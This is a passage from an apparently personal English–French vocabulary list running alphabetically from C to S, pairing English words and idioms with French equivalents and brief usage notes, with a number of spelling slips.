grincheux *Craft (art) = art *Crag = rocher à pic (face) taillé à coups de serpe *Cram sth into = fourrer qqch dans *In cramped conditions = à l’étroit *Crane = (machine, bird) grue *Nooks and crannies = coin et recoins *Crate = (large) caisse *Crane = lit grue, to crane one’s neck = tendre le cou *Craven = lâche (lit.) *Cresset = torchère *Crease = froisser, plisser *Creed = credo *Crest = (of wave, mountain, bird) crête *Crib = plagiat *Crispt (air, style) = vif *Crone = old woman *Crockery = vaiselle *Crocus = crocus *Croft = Br petite ferme *Croon = chanter (à voix basse) *Crop = récolte *Crop of hair = chevelure *Crown = (of head, hill) sommet) *Crossly = d’un air fâcheux *Crumple = froisser *Crust = croûte *The crux of the matter/problem = le nœud de l’affaire/du problème *Cub = (of animal) petit *Cubbyhole = cagibi (fam?) *Cuddle = (hug) serrer *Cudgel = gourdin, trique *Cue = (theatre) réplique *Cuff (of shirt, etc) poignet, manchette (pants) Am revers *Culprit = coupable *Cumbersome = encombrant *My blood curdled = fig mon sang s’est figé *Curtsey = révérence de femme *Currency = monnaie ou devise *Cursory = (trop) rapide, superficiel *Curtail = (visit etc) écourter (expenses) réduire *Cushy = facile *To take s.o. into custody = mettre qn en détention préventive *Cypress = cyprès *Dalliance = flirtage *Dace = vandoise (poisson d’élevage) *Dab = (wound, brown etc) tamponner *To dabble in = s’occuper ou se mêler un peu de *Dale = vallée (lit) Dam = barrage Dangle = (keys etc) balancer Dank = humide (et froid) Daredevil = casse-cou Dastardly + nefarious = infâme Darn = repriser Daub = barbouiller (with, de) Dawdle = traîner, lambiner Daunt = décourager Deacon = diacre Deadbeat = quite overcome, exhausted (fam) Deadlock = impasse Debase = avilir Decanter = carafe Deceit = tromperie Decipher = déchiffrer Defile = souiller, salir Deflect = (bullet etc) faire dévier Deft = adroit (with, de) Dejected = abattu, découragé Delusion = illusion Delve into = fouiller Demeanour = comportement Demure = sage Den = antre Denizen = habitant Dent = cabosser, bosse Deplete = réduire Deprecate = désapprouver Derby = chapeau melon Derelict = avandonné (building etc) Deride = tourner en dérision Derogatory = (word) péjoratif Desultory = décousu Desecrate = profaner Despicable = méprisable Despondent = découragé Deter s.o. = dissuader ou décourager qn (from doing, de faire) Devious = tortueux (mind) Devise = (invent) inventer Devoid = dénué ou dépourvu (of, de) Devout = dévot, pieux Dial = cadran Diaper = couche (for baby) Diffident = (person) qui manque d’assurance Dig = (remark) coup de griffe Dimple = fossette (chin, cheek) Din = vacarme Din into s.o. that = rabâcher à qn que Dingy = (colour) terne By dint of = à force de Dire = affreux Disgruntled = mécontent Dishevelled = hirsute, ébouriffé (person, hair) Dismay = consterner Dismiss = (from job) renvoyer (thought) écarter (of official) destituer Dispirited = découragé To dispose of = se débarrasser de Disrupt = (traffic, class etc) perturber To ditch (dump) = se débarasser de Dither = hésiter, tergiverser (fam) Dogged = obstiné To dole out = distribuer au compte-gouttes Doleful = morne, triste Dollop = (of food) gros morceau Don = lit revêtir Doom = destin Doublet = pourpoint Dormer (window) = lucarne To dose oneself (up) with = se bourrer de médicament To dote on = être gaga de, doting = être affectueux Dour = austère Douse = (fam, light) éteindre Downcast = découragé Downfall = chute Downright = (rogue etc) véritable Dowry = dot Doze = petit somme, to doze off = sommeiller Drab = terne, drabness = caractère terne Draft = (outline) ébauche (of letter) brouillon Draughty = plein de courants d’air Drawback = inconvénient Drawing room = salon Drawn = (face) tiré, crispé Dreary = monotone Dregs = lie Dribble = tomber goutte à goutte Drift = (snow) s’amonceler Drill = exercice(s) Drivel = (talk, nonsense) = radoter, idioties Drone = (purr) ronronnement, to drone on = parler d’une voix monotone Drownsy = somnolent Drudge = bête de somme Dub = (nickname) surnommer Dud = (person) zéro, nullard Duffel bag = sac de marin Dumbfound = sidérer, ahurir Dun = foncé Dung = crotte Dusky = foncé Dwarf = faire paraître tout petit Dwindle = diminuer Dyke = digue Earnest = sincère Eaves = avant-toit To Eave on = écouter (de façon indiscrète) Ebb = décliner (fig) Ebullient = exubérant Eddy = remous Have the edge or a slight edge = être légèrement supérieur (over, à) I can’t get a word in edgeways = je n’arrive pas à placer un mot Edible = comestible Ejacule = exclamation Eerie = sinistre, étrange To eke out a living = gagner difficilement sa vie Elated = transporté de joie Elicit = obtenir (from, de) Elm = orme Elope = s’enfuir Elude = (blow) esquiver Embankment = talus Embedded = enchâssé Embezzle = (money) détourner Embody = incarner Emboss = bosseler Embrace = prendre dans ses bras Embroider (cloth) = broder Enact = (law) promulguer Enamel = émail Encompass = entourer Encroachment = empiètement Endeavour = s’efforder (to do, de faire) Endorse (action, plan) = approuver To be endowed with (of person) = être doté de Engrossed in one’s work = absorbé par son travail Enrapture = ravir Ensconced = bien installé (in, dans) Entail (imply, involve) = supposer Enthral(l) = captiver Entice = attirer (par la ruse) That entitles me to believe that… = ça m’autorise à croire que Entreat = supplier, implorer (to do, de faire) To entreat oneself (of soldier) = se retrancher To entrust s.o. with sth = confier qqch à qn The epitome of = l’exemple même de, l’incarnation de Equanimity = égalité d’humeur Err = (be wrong) se tromper (sin) pêcher Errand boy = garçon de courses Estate = propriété To become estranged = (of married couple) se séparer Etch = graver à l’eau-forte Exact = extorquer (from, à) Excise = taxe (on, sur) Excruciating = atroce, insupportablel To exert oneself = se dépenser Exhilarating = grisant Expanse = étendue Life expectancy = espérance de vie Extend = offrir (to, à) Extol = exalter, louer Extravanganza = spectacle somptueux Eyeball = globe oculaire Eyesore = (building etc) horreur Fair = (hair) blond (skin) clair Fallow = en jachère Falter = chanceler ou hésiter ou vaciller Fame = renommé Farmstead = ferme To fan out =se déployer (en éventail) Fancy (whim, imagination) fantaisie To take fancy for = se prendre d’affection pour Fare = (taxi) prix de la course (manage) se débrouiller Fast = jeûne Fathom = (nautical measurement) brasse (understand) to fathom out = comprendre To find fault with = critiquer Fawn = (deer) faon, to fawn (up) on = flatter basement, flagorner Fen = marais Feign = feindre, simuler Fender = (for fire) garde-feu Fennel = (plant, herb) fennouil Fester = suppurer Fetch = amener ou apporter Fetter = entraver Feud = querelle, dissension To fiddle (about) with = tripoter To fiddle aobut = perdre son temps To fidget about = gigoter Fig = figue Filch from s.o. = voler à qn File = lime, to file (down) = limer Filler = mastic Film = fine couche, pellicule Fin = nageoire Fit = accès, crise Fitful (sommeil) = agité Fixtures (in house) = installations Flag = (of conversation) languir Flagstone = dalle Flank = flanc, flanked by = flanqué de Flap = rabat ou battant ou battre des ailes Foppish = fat Flunkey = pej larbin Flurry = (of snow) rafale Fluster = énerver, to get flustered = s’énerver Flutter = voltiger Foal = poulain To fob s.o. off with sth = se débarrasser de qn en lui donnat ou en lui racontant qch Fore and aft (nau) = d’avant en arrière Forbear = s’abstenir To forage (about) = fourrage (pour trouver) Foray = incursion Forcibly = de force ou avec force Forebode = présager Forego = renoncer Foreshadow = présager Forestall = devancer Forfeit = perdre Forgery = contrefaçon Foster = élever, allaiter To fork out (money) = allonger Forlorn = abandonné Forthcoming = (film, book) qui va sortir Forthwith = sur-le-champ Foul = (air) vicié Foyer = vestibule Founder = sombrer Frame s.o. = monter un coup contre qn Fraught with = plein de, chargé de Fray = s’effilocher (fight) = rixe To fret = s’agiter Freight = fret Fringe (of hair) = frange To go to and fro = aller et venir Froth = mousse Fuddled = (confused) embrouillé ou ivre Fume (of person) = rager Furrow = sillon Fuss = (noise, bustle) = agitation Fussy = tatillon, méticuleux Fuzzy hair = cheveux crépus To have the gift of the gab = avoir du bagou Gabble = jacasser ou bredouiller Gable = pignon Gait = démarche Gale = rafale (de vent) To gallivant (about) = fam vadrouiller, courir Galore = à gogo, en abondance To gape at = regarder bouche bée Gaping = béant Garb = costume Garble = (words etc) rendre confus, incompréhensible Garish = voyant, criard Garment = vêtement Garret = mansarde Garter (around leg) = jarretière Gash = entaille, entailler Gasket = joint de culasse Gaudy = voyant, criard Gaunt = décharné To gawk at = regarder bouche bée Gear = fam vêtements ou engrenage Genteel = iron distingué Genuine = sincère, vrai Girth = sangle de selle Gibberish = baragouin Gibe = railler To be or feel giddy = avoir le vertige Gild = doré, gilt = dorure Gills = (of fish) ouïes Gimmick = (object, trick) truc Gingerly = avec précautions Girder = poutre Girdle = ceinture To get the gist of = comprendre l’essentiel de Glade = clairière Glaze = (paper) glacer Glen = vallon Glibly = peu sincèrement Glitch = fam problème (technique) Gloat = jubiler (over, à l’idée de) Gloom = triste Gloss = (note) glose, commentaire Glossy = brillant Glum = triste Glut of = surplus de (of goods, oil etc) Gnaw (at) = ronger Goad s.o. (on) = aiguillonner To goggle at = regarder en roulant de gros yeux Gout = goutte (maladie) Goon = fam idiot, idiote To gorge oneself (on) = se gaver de Gorse = ajonc(s) Gory = (bloody) sanglant (details) fig horrible Gown = robe Grasshopper = sauterelle Hard graft = boulot To grapple with = se colleter avec Grime = crasse Grisly = horrible Gristle = (in meat) cartilage Grist = sable To grit one’s teeth = serrer les dents Grizzle = pleurnicher Groggy = groggy Groin = aine (genitals) bas-ventre Groom (for horses) = lad To grope (about) = chercher à tâtons Groundswell = roulis Grovel to s.o. = ramper, s’aplatir devant qn Guffaw = rire bruyamment Guile = ruse Gullet = gosier Gullible = crédule Gung-ho about sth = très enthousiaste à l’idée de qch With gusto = avec entrain Guzzle = siffler (drink) Haggle = marchander Hail = saluer To hail from = être originaire de Hale and hearty = vigoureux Halyard = drisse Hallow = sanctifier Halve = réduire de moitié, diviser en deux Hamper = (hinder) gêner (laundry basket) panier à linge Hap = hasard, sort, destin ou hasard malencontreux Hankering = (forte) envie Haphazard = fait au hasard Hapless = lit infortuné Hardship = (ordeal) épreuve(s) (deprivation) privation Hark = lit écouter Harness = (energy etc) exploiter Hawk = (cough up) cracher Hawker = colporteur Heady = (wine) capiteux Hedge = haie Hedgehog = hérisson Hefty = gros ou costaud Heifer = génisse Heinous = (crime etc) atroce Helm (of boat) = barre Helter-skelter = à la débandade Hemp = chanvre Hen = poule Hence = (therefore) d’où Henceforth = désormais Herald = annoncer Hew = tailler Hindquarters = arrière-train Hinder (obstruc) = gêner Hinterland = arrière-pays Hone = a kind of fine whetstone Hint = allusion Hitch to = accrocher à Hitherto = jusqu’ici Hive = ruche Hoard = réserve Hoarfrost = givre Hob = (on stove) plaque chauffante Hobble = boitiller Hoe = binette, biner Hoist = hisser, palan Hold = cale Hard row to hoe = tâche ingrate To holystone = briquer (pont) Holly = houx Homely = Am laid Hose = chausses Hoodwink = tromper, duper Hoop = (barrel) cercle Hoot = Br klaxonner Hops = houblon Hopscotch = marelle Hound = traquer Househouler = propriétaire ou chef de famille Hovel = taudis Hover = (of person) traîner, rôder Hub (of wheel) = moyeu, fig centre Hubbub = vacarme To huddle (together) = se blottir (les uns contre les autres) Hue = teinte, couleur Huff, in a huff = fam fâché Hulk = lourdaud Hum = fredonner Hump = bosse, voûter Hunch = fam intuition Hurdle = fig obstacles Hurly-burly = tumulte To hurtle along = aller à toute vitesse Husky = enroué Hussy = pej friponne, coquine Hustle = bousculer Hutch (for rabbit) clapier Ichor = sang des dieux dans mytho grecque Idle = inactif, désoeuvré Idly = paresseusement Of that ilk = de cet acabi Impart to = communiquer à Impede = (hamper, hinder) gêner Impending = imminent Impinge on = empiéter sur Implement (tool) = instrument Impound = confisquer Inane (absurd) = inepte Incense = encens, mettre en colère Inconspicuous = peu en évidence, qui passe inaperçu Incur = s’attirer Indented = renfoncé Indict for = inculper de Induce = persuader (to do, de faire) Indulge s.o.’s wishes = satisfaire… Infant = (child) petit enfant (baby) nourrisson Infer = déduire Infrared = infrarouge Ingot = lingot Ingrained dirt = crasse Inkling = (petite) idée Inlaid = incrusté ou marqueté Inordiante = excessif Instalment = (story) épisode Interplay = interaction, jeu Interspersed with (quoatations, flowers…) = parsemé de To intrude on s.o. = s’impose à qn Invaluable (help etc) = inestimable Irk = ennuyer, irksome = ennuyeux Ironmonger = quincailler Ironwork = ferronerie Jabber = bavarder, (excuse) bredouiller Jackdaw = (bird) choucas Jade = (horse) canasson, rosse Jangle = cliqueter Jar = (of noise) grincer Jaundice = jaunisse Jauntily = avec insouciance Jeer = (boo) huer Jeopardy = danger Jerkin = justaucorps Jerky (voice etc) = saccadé Jet-lag = décalage horaire To have the jitters = avoir la frousse Jog (nudge) = donner un coup de code Jolly = gai Jowl = jaw Journeyman = apprenti Jostle = bousculer Jot down = noter Jumble = fouillis At this juncture = en ce moment même jut out = faire saillie ou surplomber ken = know keel = quille (de navire) to keel over = chavirer keen = (edge, appetite) aiguisé (wind) coupant, piquant keepsake = souvenir (object) kernel (of nut) = amande kindred = parenté kindred spirit = âme sœur kink = (in rope) entortillement kite (toy) = cerf-volant knead = pétrir knurl = noeuf du bois knell = glas knick-knack = babiole to knit one’s brow = froncer les sourcils laidly = ugly lace (cloth) = dentelle (drink) lace with = additionner, arroser de lacquer = laque laden with = chargé de ladle = louche laid-back = relax lame = (person, argument) boiteux (excuse) piètre lariat = lasso landmark = point de repère languid = languissant lap (of waves) = clapoter lapse = (fault) = faute lark = alouette lass = jeune fille latch = loquet latitude = fig freedom the latter = ce dernier lattice = treillis lavishly = généreusement lawn = pelouse lawsuit = procès lax (behaviours) = relâché lead = plomb league = (measure) hist lieue lean = maigre lean-to = appentis lease of life (Br) = regain de vie lee (nau) = côté sous le vent, lof lectern = pupitre lecture = conférence ledger (in bookkeeping) = grand livre leech (worm, person) sangsue leek = poireau to leer at s.o. = lorgner qn to great lengths (to do) = se donner beaucoup de mal (pour faire) lest = (lit) de peur de levity = léger levy = (tax, troops) lever lift (from) = (idea etc) voler (à) lilt (in song, voice) = cadence in limbo = dans l’expectative linen (sheets etc) = linge linger = s’attarder linseed oil = huile de lin lip (of cup etc) = bord to have a lisp = zézayer listless = apathique, indolent lithe = agile, souple litter = détritus littered with = jonché de livelihood = moyens de subsistance liver = foie livestock = bétail loam = (soil) terreau loan = prêt loath to do = lit, peu disposé à faire loathsome (+ loathly) = détestable lock = écluse locust = criquet, sauterelle lofty = hautain loiter = traîner loil = se prélaser loom (up) = apparaître indistinctement loophole = (in rules) point faible loot = piller lop (off) = couper lop-sided = de travers lounge (idle) = paresser lousy = fam infect lout = rustre luff = lof to lug sth around = trimbaler qch lull = (in storm) accalmie lumber = stagger lumber sth with sth = coller qch à qch lump = bosse lunge = coup en avant, fente to lunge at = se ruer sur qn leave in the lurch = laisser qn en plan, laisser tomber qn lurid = horrible, affreux lurk (prowl) = rôder maggot = ver, asticot maggoty = véreux magpie = pie maim = mutiler, estropier to make up for = (loss, damage, fault) compenser makeshift = de fortune, provisoire manage = gérer, diriger mane = crinière mangle = mutiler mangy = (animal) galeux mantelpiece = cheminée manure = fumier, engrais mar = gâter mare = jument marooned = (in snowstorm) bloqué marrow = moelle marshal = rassembler mat = tapis mat = mat (couleur) maul (of animal) = mutiler maverick = dissident mayhem (havoc) = ravage meadow = pré, prairie meander (of river) = faire des méandres measles = rougeole measly = fam, minable meek = doux menial (work) = inférieur merely = (tout) simplement wire mesh = grillage to mete out to = infliger à mettle = courage mew (of cat) = miauler midget = minuscule midriff = fam, ventre minatory = menaçant miffed by = fam, vexé de mike = fam. Micro mildew = moisissure mill = grouiller it’s a millstone around my neck = c’est un boulet que je traîne mingle with = se mêler à (socially) fréquenter mint = (money) frapper minute = (examination etc) minutieux mire = lit. fange mirth = lit. gaieté, hilarité miscarry = (of plan) échouer misconstrue = mal interpréter misdemeanour = écart de conduite, am. jur. délit misfortune = malheur misgivings (doubts) = doutes misrepresent = présenter sous un faux jour misshapen = difforme mistletoe = gui a mite = fam. un petit peu (plus gros…) moat = douve(s) mock = (false) simulé a modicum of = un soupçon de, un petit peu de molten = en fusion momentous = important momentum = élan ou vitesse acquise over the moon = Br. Fam. ravi (about, de) moor = (ship) amarrer (open land) lande morass = marais motley = (collection) hétéroclite (coloured) bigarré mottled = tacheté motto = devise mould = modeler mouldy = moisi muck = (manure) fumier (fig) saleté muffle = (noise) assourdir mugger = agresseur mull (wine) = chauffer to mull over = ruminer murky = obscur, trouble, nuageux mussel = (shellfish) moule muster = rassembler muffle = emmitouflé muzzle = muselière muzzy (person) aux idées confuses nefarious = infâme narrow = passe (nau) nab = fam. épingler, coffrer nag (pester) = harceler, embêter qn nagging = (doubt, headache) qui subsiste namely (that is) = à savoir namesake = homonyme nape = nuque naught = lit. rien neigh = hennir nettle = ortie nip off = filer, s’esquiver nib (of pen) = plume, bec nibble (eat) = grignoter niche (recess) = niche nick = entaille nigglig (triffling) = insignifiant nightingale = rossignol nip (pinch, bite) = pincer nipper = fam. gosse nit (of louse) lente nowadays = aujourd’hui, de nos jours nucleus = noyau nugget = (of gold etc) pépite oaf = balourd oblivious = inconscient obnoxious = (person) odieux (smell) nauséabond OD = overdose Odd jobs = menus travaux Offal = abats Off-colour = scabreux Offshoot = (organization) ramification Ogle = péj. Reluquer Omen = augure Onslaught = attaque Ooze (out) = suinter Orchard = verger Outcrop = affleurement (géo) Oust from = évincer de Ourbid = (sur)enchérir Outdo = surpasser Outfit = fam. boîte (commercial company) Outlandish = (weird) bizarre (barbaric) barbare Outright = complètement At the out set = au début, from the ousest = dès le départ Outwit = être plus malin que Overlay = couvrir Overbearing = autoritaire Overcast = (sky) couvert Overcome (problem, disgust) surmonter Overhear = surprendre, entendre Oveland = par voie de terre Overlap = chevaucher Overpower = (physically) maîtriser (defeat) vaincre (overwhelm) accabler Overrun =(invade) envahir (go beyond) aller au-delà de Oversight = omission, oubli (mistake) erreur Overt = manifeste Overthrow = (dictator, government) renverser Overwrought = (tense) tendu Pad = sl. Piaule Paddle = (dip one’s feet) mouiller les pieds (splash about) barboter Pageant = grand spectacle historique Pail = seau Pallet = paillasse, grabat Painstakingly = avec soin Pall = devenir insipide ou ennuyeux/(of smoke) voile Pallbearer = personne qui aide à porter un cercueil Paltry = dérisoire Pan (of lavatory) = Br. Cuvette Pane = vitre, carreau Pangs of death, jealousy = les affres de la mort, de la jalousie Pantyhose = Am. Collant(s) Paraphernalia = attirail To be parched = être assoiffé Partridege = perdrix Pate = crâne To pass over (ignore) = passer sur qch Paste (mixture) pâte Pasty (complexion) = terreux Pathos = pathétique Patter (of footsteps) = petit bruit (of rain, hail) crépitement (talk) baratin Paunchy = bedonnant Pauper = pauvre, indigent Pawn = (chess) pion To pay off = rembourser Pediment = fronton Peacock = paon Peal (of laughter) = éclat (of thunder) roulement Peculiar = bizarre Peddler = colporteur To peer (at) = regarder attentivement (comme pour mieux) Peevish = grincheux, irritable Pellet (of paper etc) boulette It’s pelting (down) = il pleut à verse Penance = pénitence Pennat = fanion Penthouse = appartement de luxe (construit sur le toit d’un immeuble) To pep s.o. up (perk up) = ragaillardir qn Perfunctory (action) superficiel I refuse, period! = Am. Je refuse, un point c’est tout! Perspire = transpirer, suer Pert (hat etc) = coquet Pertain to = appartenir à Peruse = lire (attentivement) Pervasive = qui se répand partout, envahissant Pesky = Am. Fam. embêtant Pew = banc d’église Pewter = étain Phlegm = flegme Picket = gréviste Pier-table = console Pick-me-up = remontant In a Pickle (trouble) = dans le pétrin Piebald = (pony etc) pie Pier = (for walking, with entertainments) jetée Pimp = souteneur Pincers = tenailles Pitch (football etc) terrain Pitchfork = fourche (à foin) Placate = calmer Plague with = harceler de Plain = (simple) simple (outspoken) franc (person) sans beauté Plait = tresser, natter To plant sth on s.o. (hide) = cacher qch sur qn Platter (dish) = plat To plead for = implorer Pledge = promesse Plight = situation critique Plodding = lent Plot = complot Plough = labourer To plought through (snow…) = avancer péniblement Plum = prune Plume = (probe, understand) lit. sonder Plummet (aircraft…) = plonger Plump (person, arm) = potelé Plunger = ventouse Plush = somptueux To ply s.o. with (whisky…) = faire boire continuellement à qn (questions) bombarder qn de Plywooed = contre-plaqué Poise to attack = prêt à attaquer To polish off (food, work, etc) = fam. liquider, finir (en vitesse) Pomegranate = grenade Poop = poupe Poopdeck = pont de dunette Popinjay = fat Ponder (over) sth = réfléchir à qch Ponderous = pesant Poplar = peuplier Poppy = coquelicot Port = porto Portentous = sinistre Potent = puissant Potency (of man) = virilité Pothole = nid de poule Poultice = cataplasme Pounce = sauter, bondir Practical joke = farce Praise = louer (qn) Prance = fam. se balader Prattle = jacasser Precinct (police district) = secteur Predicament = situation fâcheuse Preen = (feathers) lisser Preseve(s) = confiture Prick = piquer, crever, piqûre Prickle (of animal) piquant Privy = parti intéressé Primeval = primitif Pristine = (condition) parfait Probe (inquiry) = enquête To take (legal) proceedings against = intenter un procès contre Prod = pousser (du coude, avec un bâton) Proffer = offrir Prizefighter = boxeur Prom = bal d’étudiants Promiscuous = (person) qui mène une vie très libre (behaviour) immoral Prompt = souffler (son rôle) Prone = sur le ventre Prong (of fork) = dent Prop = appuyer, fig. soutenir (qn) The (village etc) proper = le village proprement dit Proponent = parisan Prosecure = poursuivre (en justice) Provender = fourrage By proxy = par procuration Prune (tree, bush etc) = élaguer Pry = être indiscret To pry into (meddle) = se mêler de Pucker (up) = plisser Puff = bouffée In a pulp = en bouillie Pumice (stone) = pierre ponce Pun = calembour Puncture = piquer (peau, papier…) Pungent = âcre, piquant Puny (sickly) = chétif Pupil (in school) = élève To purport to be = prétendre être Purposeful = résolu To purse one’s lip = pincer les lèvres Puss(y) = minou, minet Put up with = supporter (qn, qch) Quaff (drink) = avaler Quagmire = bourbier Quail = caille Quaint = pittoresque In a quandary = embarassé Quarry = carrière/proie Quash = (rebellion) réprimer Quaver = chevroter (voix) To feel or to be queasy = avoir mal au cœur Queer (dubious) = louche Quell (revolt etc) = réprimer Quench = (fire) éteindre Quail = fléchir, faiblir Quince =coing Quibble = ergoter, discuter (over, sur) Quill = plume (d’oie) Quilt = édredon/(pad) matelasser Quizzical = perplexe Rabid = mad (fâché) The rabble = péj. la populace Rack (of person) = aller à la ruine Raft = radeau Rafter = chevron Ragamuffin = va-nu-pieds Ram = bélier/heurter To go on the rampage (of crowd) = se déchaîner Ramshackle = délabré Rank = fétide (smell) Ratline (nau) = enfléchure It rankles (with me) =je l’ai sur le cœur Ransack = fouiller To rant (and rave) = tempêter Rap = petit coup sec Rash (red patches) = rougeurs Rate = taux/(deserve) mériter Rattle = crécelle/petit bruit sec Raucous (noisy, rowdy) = bruyant Rave (talk nonsense) = divaguer Ravenous (appetite) = vorace Ream (of paper) = rame Rebuke = réprimander/réprimande Recant = se rétracter Recede (of floods) = baisser Recess (nook) = recoin Reckless = (rash) imprudent Reckoning = calcul(s) Recumbent = couché, étendu Recoil = reculer Redolent = lit. évocateur Reed (plant) = roseau To reek of sth = puer qch Reel = chavirer (mind)/débiter Reel off = débiter (à toute vitesse) Refurbish = remetre à neuf Regalia = insignes (royaux) It’s a rehash = c’est du réchaffé Rejoin = répliquer Relapse (of sick person) = rechute Relent = (be swayed) se laisser fléchir Relentless = implacable Reliable = fiable Relief = (help, supplies0 secours Relinquish = abandonner/(let go) lâcher Rely = compter sur Render = (piece of music) interpréter Resign = démisionner Resilience = élasticité/ fig. résistance Resort = station de vacances Retaliation = riposte Retch = avoir un ou des haut-le-cœur Retort = répliquer Retribution = châtiment Revel = faire la fête Rill = ruisselet Revile =invectiver Revolve = tourner To tear to ribbon = mettre en lambeaux Rickety = (furniture) branlant Riddle = énigme Ridge = arête Rife = répandu Riffraff = racaille Rifle through = fouiller dans Rigging = gréement Righeous = vertueux/juste Rim = (cup etc) bord Rind (of lemon, melon) = écorce Ripe = mûr Ripple (on water) = ride/fig. cascade Rodent = rongeur Romp = s’ébattre (bruyamment) Rooster = coq Rosary = rel. Chapelet To round up = rassembler Ruff = collar Rove = parcourir/nomade Rouse = éveiller Rout = déroute Rowdy = chahuteur Rubble = décombres Rucksack = sac à dos Rudder = gouvernail Ruddy = (complexion) coloré Ruffle = froisser qn Rugged = (determination) fig. farouche Rumble = (train, thunder, gun) gronder Rummage (about) = farfouiller Rumple (clothes) chifonner To run off = s’enfuir Run down = (district etc) délabré, miteux Rung (of ladder) = barreau the rushes = les joncs russet = brun roux ruthlessness = cruauté rye = seigle sacking = toile à sac sallow = jaunâtre sanctimonious = (person, manners) tartuffe sawvy = jugeotte sash = ceinture saunter = flâner scafflold = échafaud scald = (burn, cleanse) ébouillanter/brûlure scallop = coquille Saint-Jacques scaly = écailleux scamp = coquin, coquine scam = fam. escroquerie scamper off or away = détaler scant = insuffisant scarcity = pénurie scathing = acerbe scheme (plant) = plan/scheming = pej. Machinations scrimshaw = to do a piece of work neatly scold = gronder, réprimander scoop = pelle scorch = roussir score = vingt scoundrel = varurien scourge = fléau scour = fig. parcourir scupper = dalot (nau) scrawny = maigrichon screech = grincer,/crier, hurler scrimmage = am. Football mêlée scrounge = voler by the scruff of the neck = par la peau du cou scrutiny = examen minutieux scuffle = bagarre scurry = se précipiter, courir, to scurry off = décamper scuttle = saborder/scuttle off = filer seam = (of coal, quartz etc) veine seasoned = (worker etc) expérimenté sedan-chair = chaise à porteurs seedy = miteux seethe with anger = bouillir de colère sere = flétrie sequel = suite sequin = paillette to set off = fig. rehausser (beauty, complexion) setback (hitch) = revers shamble = pas traînant sewage = eaux d’égout shabby = minable, miteux schackles = chaînes shaft (too) = manche shaggy = à longs poils shallow = peu profond sham (pretence) = comédie, feinte shambles = désordre, pagaille shard = tesson shanty = baraque (hut) shantytown = bidonville shaving = copeau shawl = châle sheaf = gerbe (of corn etc) shears = cisaille(s) shed = verser, répandre sheen = lustre sheepish = penaud sheer (luck, madness etc) = pur shelf (on cliffe) saillie shingles = galets shirk = se dérober à to shoo away = chasser shoo = ouste shoot = (on plant) pousse to shore up (wall etc) = étayer shortage = manque, pénurie shortcoming = défaut shred = lambeau shrew = pej. Méjère shrivel (up) = se ratatiner shrub = arbuste to shuffle (one’s feet) = traîner les pieds shutter (window) = volet shuttle = (bus, train, plane etc) navette shy away = from s.o. or from doing sth = reculer devant qn/à l’idée de faire qch sibling = frère ou sœur sift = tamis sidle up to s.o. = s’approcher furtivement de qn signet ring = chevalière sill (of window) rebord silt = vase, boue singsong = monotonous sinew = anat. Tendon singe (cloth) = roussir sirloin (beef) = aloyau sketchy = incomplet, superficiel on the skew = de travers skewer = broche/brochette skid = déraper (vehicle) skillet = Am. Poèle skim = (surface) effleurer skim through = (book) parcourir skipper (of ship, team) capitaine skirt (around) = contourner skittish = (person) frivole (temperamental) capricieux sled = sledge skulk = rôder (furtivement) slab (of concrete) bloc (paving stone) dalle slag s.o. off (criticize) Br. Sl. Débiner qn, casser du sucre sur le dos de qn slake = lit. étancher slander = diffamation, calomnie slant = inclinaison slap = tape, claque slat = (in Br blind, Am shade) lamelle slate = ardoise slayer over = baver sur sleek = lisse slink = sneak off sleet = neige fondue/Am. Verglas sleight of hand = prestidigitation slick (manner) = mielleux/lisse sling = (for injured arm) écharpe to slip away = s’esquiver slither = glisser slog (away) = trimer, bosser slops = eaux sales sloppy = négligé slosh = fam. renverser, répandre sloth lit. paresse he’s no slouch = il n’est pas empoté slovenly = négligé slug = frapper/coup, marron sluggish = amorphe slum district = quartier pauvre slump = baisse soudaine slur = pononcer indistinctement slyly = sournoisement smart = brûler, faire mal, sting a smattering of French = quelques notions de français smear with = enduire de smelt = fondre (ore) to be smitten with s.o. = être épris de qn smock = blouse smoulder = (of fire fig. passion etc) couver smudge = bavure, tache smug = béat (smile)/suffisant snag (in cloth) accroc snuff out = éteindre avec les doigts snatches of = fragments de snigger = ricaner snippet (of conversation) = bribe snivel = pleurnicher snoop on (spy on) = espionner qn snort (grunt) grogner snot = fam. morve snowdrift = congère snuff out = moucher (candle) snuffbox = tabatière snug = douillet, confortable soil (dirty) = salir solder = souder sole (of shoe) = semelle sod = gazon sodden (ground) = détrempé sop up = éponger spar = espar sound = sain sow = truie/semer span (of bridge etc) = envergure adjustable spanner = clef à molette spar (of boxer) s’entraîner spare = accorder qch à qn sparrow = moineau spawn = fig. engendrer speck = petite tache spell = (courte) période spew = vomir spindly = grêle (legs, arms) spinster = péj. Vieille spire (of church) = flèche spite = rancune splay = ébrasé, écarté splice = unite, connect splodge = tache splutter = (of person) crachoter spoke (of wheel) = rayon spool = bobine spy-glass = lunette d’approche squall = crier, brailler sprawl = s’étaler (of town, of person etc) to go on a spending spree = faire des achats extravagants sprig = (branch of heather) brin sprinkle over (sand etc) = répandre sur spry = (old person…) alerte spur (of horse rider) éperon spurn = rejeter avec méprise spurt = (liquid) jaillir squalid = sordide squall (of wind) = rafale staccato = saccade square = en ordre squash = courge squat = s’accroupir squawk = pousser des cris rauques squeamish = facilement dégoûté, bien délicat squelch = fam. réduire squiggle = gribouillis squint = strabisme squirm = se tortiller stage = fig. organiser, effecteur stale = vicié stalk (of plant) tige (animal, criminal) traquer, to stalk out = sortir d’un air digne/sortir en colère stalwart = (supporter) fidèle stamping ground = lieu favori stampede = fuite précipitée steed = coursier staple = de base (nourriture…) stark (place) désolé (person) austère starling = étourneau starter = lhors-d’œuvre stately = majestueux/stately home = château stationer = papetier staunch = loyal, fidèle stave off = conjurer steeple = clocher steer = diriger, piloter stern = (plant) tige steward = intendant (préposé au ravitaillement) stepping-stone = tremplin stifle = étouffer still = immobile strait = détroit in financial straits = dans l’embarras stranded = en rade strangehold = emprise stratum = couche stray (animal, bullet) = perdu streamer = banderole stretch = tronçon (of road) strew = jonché de stricken = sinistré stricken with panic = frappé de panique strife = conflit(s) string (people) = file strip (piece) bande stroll = promenade stocky = trapu stolid = impassible to have a stoop = être voûté stork = cigogne stroy = Am. Étage stow = (cargo) arrimer straggle = traîner (en désordre) stumpy = stubby strut = se pavaner to stub one’s toe = se cogner le doigt de pied stubble = barbe de plusieurs jours stud = crampon/étalon studded with = parsemé de stuff into = fourrer dans stump = moignon stun = étourdir/assomer stupendous = prodigieux sturdy = robuste stutter = bégayer subdue = soumettr/(person) qui manque d’entrain subside = (of wind, flood, fever) baisser suckle (of woman) = allaiter suffused with light/tears = baigné de lumière/de larmes sumpter = bête de somme suitor = 